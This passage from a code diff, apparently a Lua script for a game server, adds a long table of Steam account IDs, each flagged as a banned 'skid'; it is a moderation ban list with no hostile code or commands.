Skid = true}, + ["STEAM_0:0:20953100"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28789597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20687901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25111608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27365675"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35368219"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28485064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20151452"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26976825"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15765533"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:263800309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28719235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36532608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24259620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44094722"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9519358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26748262"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6624665"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36141470"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3655297"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34342296"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32384783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25339703"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21130961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14170171"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30768148"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28742736"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26225157"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26988343"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28877873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30805136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23237883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32057619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48638347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20359225"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33456444"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22996898"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39262404"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38633775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40507881"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41328874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33726071"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38563417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29795615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32830571"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31565430"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22198514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43201305"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:48925964"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24205901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26693163"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:321433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:53722509"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32877666"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28403316"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34206696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33461083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33568098"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18586851"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39891986"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36041983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37143337"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50151521"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:52001014"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:48704057"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40974950"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34280515"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8861721"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12902329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13015320"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19797241"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39934786"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17442689"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38239115"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12102262"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24143620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1103266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19433641"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37916001"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32902612"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32088228"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19890993"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39052466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46469213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47256983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3208705"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15716341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25317853"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41554685"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44464834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23747163"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4625516"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50887902"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:230392578"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19919010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30721689"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25992956"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23776488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45333067"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29657367"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18947080"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32290988"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13877246"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37767195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12524428"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8636459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26881243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39270640"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48327306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42647076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41254289"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35620733"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41774746"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11814625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20017563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48091070"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5145161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35169729"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20227463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17534850"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34025730"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36423890"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4315767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43449433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25827261"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23706724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19886959"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14480417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46876601"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40273675"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11008196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22318105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33463708"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23762418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11406901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20126184"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34243150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10201602"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19805383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14718607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:51103476"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9849195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:49952872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30900098"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23777666"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17080079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13960448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27353003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14296340"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5583774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39928875"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33208793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22355976"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20078865"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26603617"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43948106"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14834667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29931872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:51668768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33230276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20513783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32199091"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17460701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30862688"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5330971"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20770712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50760997"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49264079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30314043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10273441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21147046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17611352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18700046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19733218"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41014136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35238040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48249956"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15236914"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30473331"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17546475"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42612352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43696135"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25496979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26715437"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10275091"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7203247"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30239217"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43854767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16188220"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20024688"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32126480"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21694380"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33270742"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32674475"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18031046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30436246"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:219738"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33454113"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15914172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11618020"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25066451"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10351556"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25296195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21168778"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35793087"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29911358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29778387"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47401128"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25883991"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18429816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23088943"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15748151"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23128741"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34007305"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33156398"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42609261"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27404539"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41181958"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43823851"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10660042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:48654308"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26915341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30582120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40785501"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24797947"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33445150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49897261"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39239598"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48000381"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25929258"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19701872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28205092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44195040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30616095"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26693656"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16527149"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14017217"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45755644"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20557066"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26191386"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42741441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14516636"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26032477"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11799463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30259744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18234911"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26504062"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14408242"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28324757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43083181"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40873196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21390535"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22276178"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31314168"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18124616"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24500739"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40097972"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36172911"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35016298"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2632888"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17703691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:88759"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23337446"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29562105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26352511"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41961819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4297793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8864115"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25202096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6905426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39186291"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37077205"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30413470"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30414325"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21797329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21225947"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42446233"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21188595"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16298971"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27160187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16296136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38421644"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20585929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40656196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37695743"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16401943"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18331942"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34010648"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28365130"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18746525"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32267256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30535432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24956126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28402390"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26721107"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30105751"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29179400"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31751804"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26223162"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36554731"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22536674"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30043948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27339186"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35314759"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24897642"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14376948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22398102"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33520203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18440679"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27530603"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21688661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19283668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37587002"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33784291"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34054266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28657092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18378081"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27486295"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13344926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29690841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16882263"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29633037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18721868"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27503388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19754822"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22880607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37042668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:162121921"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19682412"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14194111"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25645275"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33697310"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16784697"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23722793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35754824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17823415"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17940399"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17256486"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25917251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5524801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14989768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31567843"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31085805"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19518698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23312530"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33800049"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33948669"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35800333"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19746778"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19770258"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15964847"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11942712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31497344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25922646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9827142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27127584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5585985"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48851073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19761615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22190327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37565711"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35587981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32702038"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20080793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29039338"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20145870"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27465224"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16756548"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25594938"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30157286"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18354007"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43867868"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10150171"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28338435"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9220491"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26903376"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46758361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44686983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24877865"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32111930"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30325447"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24848652"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25720885"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43713579"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29512933"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22790370"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37133379"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21714698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18090791"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20151704"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19634899"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21405727"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19446723"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32754136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26784229"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19778556"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14613280"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30174177"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28709748"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17525938"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33437182"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40598670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20421636"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31749630"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38255081"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14253981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30882882"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29821389"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15615520"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31021625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16069170"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18741984"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26596622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32018761"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38393094"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26837409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30496214"] = 